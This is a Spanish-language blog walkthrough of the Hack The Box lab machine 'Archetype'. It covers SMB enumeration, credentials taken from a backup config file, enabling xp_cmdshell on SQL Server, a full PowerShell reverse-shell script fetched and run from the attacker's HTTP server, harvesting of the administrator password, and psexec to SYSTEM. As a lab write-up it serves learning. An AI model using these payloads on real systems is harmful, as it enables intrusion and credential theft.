Avatar Blog Personal de K0Hack sobre Conceptos Hacking Etico // HTB // TryHackMe // Resumenes de Hacking // Herramientas para distintas tareas.

Maquinas para empezar en HTB

Archetype ~ Hack The Box

Comprobamos que la maquina este activa con una traza ICMP, usamos la herramienta PING.

 "# ping -c 10 10.10.10.27    "                                       
PING 10.10.10.27 (10.10.10.27) 56(84) bytes of data.
64 bytes from 10.10.10.27: icmp_seq=1 ttl=127 time=39.4 ms
64 bytes from 10.10.10.27: icmp_seq=2 ttl=127 time=39.5 ms
^C
--- 10.10.10.27 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 39.430/39.449/39.469/0.019 ms

La maquina esta activa y por el ttl identificamos que puede es WINDOWS

Enumeracion con Nmap

Procedemos a enumerar todos los puertos abiertos en un escaneo usando los siguiente parametros:

 "nmap -p- --open -T5 -v -n -Pn 10.10.10.27   " 

Si en la maquina victima el escaneo con Nmap va lento.. Usamos el siguiente escaneo:

 "nmap -p- --open -sS --min-rate 4000 -vvv -n -Pn 10.10.10.27 -oG allports    "

Con la funcion de extractPorts: filtramos por los puertos abiertos pasandole el archivo de salida del primer escaneo con Nmap

"# extractPorts allports   "

[*] Extracting information .......

        [*]IP ADDRESS: 10.10.10.27
        [*]OPEN PORTS: 135,139,445,1433,5985,47001,49664,49665,49666,49667,49668,49669

2.- Siguiente Escaneo con Nmap

Procedemos a escanear la version y servicios de los puerto encontrados como abiertos:

"nmap -sC -sV -p135,139,445,1433,5985,47001,49664,49665,49666,49667,49668,49669 -oN Target 10.10.10.27"

Output:

PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows Server 2019 Standard 17763 microsoft-ds
1433/tcp  open  ms-sql-s     Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-ntlm-info: 
|   Target_Name: ARCHETYPE
|   NetBIOS_Domain_Name: ARCHETYPE
|   NetBIOS_Computer_Name: ARCHETYPE
|   DNS_Domain_Name: Archetype
|   DNS_Computer_Name: Archetype
|_  Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2021-03-16T16:48:45
|_Not valid after:  2051-03-16T16:48:45
|_ssl-date: 2021-03-16T17:55:06+00:00; +17m25s from scanner time.
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49668/tcp open  msrpc        Microsoft Windows RPC
49669/tcp open  msrpc        Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 1h41m26s, deviation: 3h07m50s, median: 17m25s
| ms-sql-info: 
|   10.10.10.27:1433: 
|     Version: 
|       name: Microsoft SQL Server 2017 RTM
|       number: 14.00.1000.00
|       Product: Microsoft SQL Server 2017
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| smb-os-discovery: 
|   OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3)
|   Computer name: Archetype
|   NetBIOS computer name: ARCHETYPE\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2021-03-16T10:54:52-07:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-03-16T17:54:54
|_  start_date: N/A

Encontramos iformacion util para proseguir con las siguiente herramienta

Utilizamos la siguiente herramienta para ver si tenemos acceso al servicio samba sin proporcionar contraseña (-N) y ver si hay algun recurso disponible, descargarlo, subir algun archivo etc. [ smbclient ]

"smbclient -N -L //10.10.10.27/    "
   
   Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        backups         Disk      
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
SMB1 disabled -- no workgroup available

Idientificamos un directorio llamado BACKUPS al que podemos acceder sin contraseña:

"smbclient -N  //10.10.10.27/backups    "
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Mon Jan 20 13:20:57 2020
  ..                                  D        0  Mon Jan 20 13:20:57 2020
  prod.dtsConfig                     AR      609  Mon Jan 20 13:23:02 2020

                10328063 blocks of size 4096. 8255932 blocks available
smb: \> 

Listamos si hay algun archivo disponible dentro de “Backups”. Probamos a descargar el archivo encontrado. Lo conseguimos descargar correctamente.

"smb: \> get prod.dtsConfig    "
getting file \prod.dtsConfig of size 609 as prod.dtsConfig (0,7 KiloBytes/sec) (average 0,7 KiloBytes/sec)

Le cambiamos de nombre al archivo descargado:

"mv prod.dtsConfig datos    " 

Leemos el archivo encontrado

<DTSConfiguration>
    <DTSConfigurationHeading>
        <DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..." GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/>
    </DTSConfigurationHeading>
    <Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String">
        <ConfiguredValue>Data Source=.;"Password=M3g4c0rp123";User ID="ARCHETYPE\sql_svc";Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;</ConfiguredValue>
    </Configuration>
</DTSConfiguration>   

Explotacion del fichero XP_CMDSHELL dentro de Mysql configurandolo para conseguir un RCE (Remote Code Execution)

Usando la herramienta de IMPACKET: [ mssqlclient.py ]

"─$ /usr/bin/python3 /opt/impacket/examples/mssqlclient.py ARCHETYPE/sql_svc@10.10.10.27 -windows-auth"                                                          2 ⨯
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(ARCHETYPE): Line 1: Changed database context to 'master'.
[*] INFO(ARCHETYPE): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232) 
[!] Press help for extra shell commands
SQL> 

Conseguimos acceso desde una nueva terminal con el uso de la herramienta mssqlclient.py de IMPACKETS, y proporcionando la Contraseña encontrada anteriormente en el archivo descargado y el usuario encontrado.

Usamos el siguiente comando para saber si tenemos los privilegios como administrador de la base de datos, y vemos que asi es.

"SQL> SELECT IS_SRVROLEMEMBER('sysadmin')    "
             
----------   
          1   

Uso de XP_CMDSHELL para ejecutar comandos, pero primero hay que configurarlo para poder usarlo.

"SQL> EXEC sp_configure 'Show Advanced Options', 1;  "
[*] INFO(ARCHETYPE): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.

"SQL> reconfigure;  "

"SQL> sp_configure;  "
name                                      minimum       maximum  "config_value"    run_value   
-----------------------------------   -----------   -----------   ------------   -----------   
"xp_cmdshell"                                  0             1             "1"            1 

SQL> EXEC sp_configure 'xp_cmdshell', 1 reconfigure;
[*] INFO(ARCHETYPE): Line 185: Configuration option 'xp_cmdshell' changed from 1 to 1. Run the RECONFIGURE statement to install.

Ejecutando Comandos desde el servicio de MYSQL con la opcion XP_CMDSHELL, habiendola configurado previamente.

"SQL> xp_cmdshell "whoami"  "
output                                                                             
--------------------------------------------------------------------------------   
archetype\sql_svc                                                                  
NULL                                                                               
SQL> 

Ahora que sabemos que podemos ejecutar comandos vamos a postear un servidor que aloje un archivito que nos descargamos para apuntar a el desde la maquina victima y que cuando se ejecute, nos lance una reverse_shell a nuestro equipo en el cual estaremos escuchando con netcat para recibir la conexion entrante.

Empezamos creando el archivo malicioso: “Al que llamaremos shell.ps1”

$client = New-Object System.Net.Sockets.TCPClient("CAMBIAR POR NUESTRA IP ATACANTE",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyt e.Length);$stream.Flush()};$client.Close()

una vez ya esta creado, montamos un servidor en python3 para postearlo:

"python3 -m http.server 80   "
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Abrimos otra terminal y nos ponemos a la escucha en el puerto 443 Indicado en el archivo malicioso

"nc -lvnp 443  "
listening on [any] 443 ...

Ejecutamos un comando a nivel de systema desde MYSQL con la opcion ya configurada XP_CMDSHELL

xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.16.54/shell.ps1\");"

Recibimos la conexion en nuestro server:

"python3 -m http.server 80   "
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.27 - - [11/May/2021 16:47:12] "GET /shell.ps1 HTTP/1.1" 200 -
listening on [any] 443 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.27] 49688
"whoami "
sql_svc

Obtencion de la flag USER.TXT

Directory of C:\Users\sql_svc\Desktop

01/20/2020  06:42 AM    <DIR>          .
01/20/2020  06:42 AM    <DIR>          ..
02/25/2020  07:37 AM                32 user.txt
               1 File(s)             32 bytes
               2 Dir(s)  33,822,490,624 bytes free

Hasta aqui seria el Acceso Inicial. Ahora a Escalar Privilegios hasta el usuario administrador.

Escalada de Privilegios

Encontramos en esta ruta las siguientes credenciales

type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\Console Host_history.txt

"USER: administrator   "
"PASS: MEGACORP_4dm1n!!  "

Con la herramienta PSEXEC.PY:

┌──(pro㉿pro)-[/opt]
└─$" /usr/bin/python3 /opt/impacket/examples/psexec.py administrator@10.10.10.27    "                                                                             1 ⨯
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

Password:  MEGACORP_4dm1n!!
[*] Requesting shares on 10.10.10.27.....
[*] Found writable share ADMIN$
[*] Uploading file ppQcueTy.exe
[*] Opening SVCManager on 10.10.10.27.....
[*] Creating service EPRJ on 10.10.10.27.....
[*] Starting service EPRJ.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

"C:\Users\sql_svc\Desktop>whoami
nt authority\system "

Obtendriamos una shell como administrador en la maquina victima. Procedemos a sacar la flag del administrador o root.txt

"C:\Users\Administrator\Desktop>type root*    
b91ccec3305e98240082d4474b------    "

APRENDIDO:

 Uso de las herramientas:
 "smbclient    "
 "mssqlclient.py   "
 "psexec.py   "
 "Forma de injeccion de comandos despues de setear la configuracion de la opcion xp_cmdshell en Mysql     "
  xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.5/shell.ps1\");"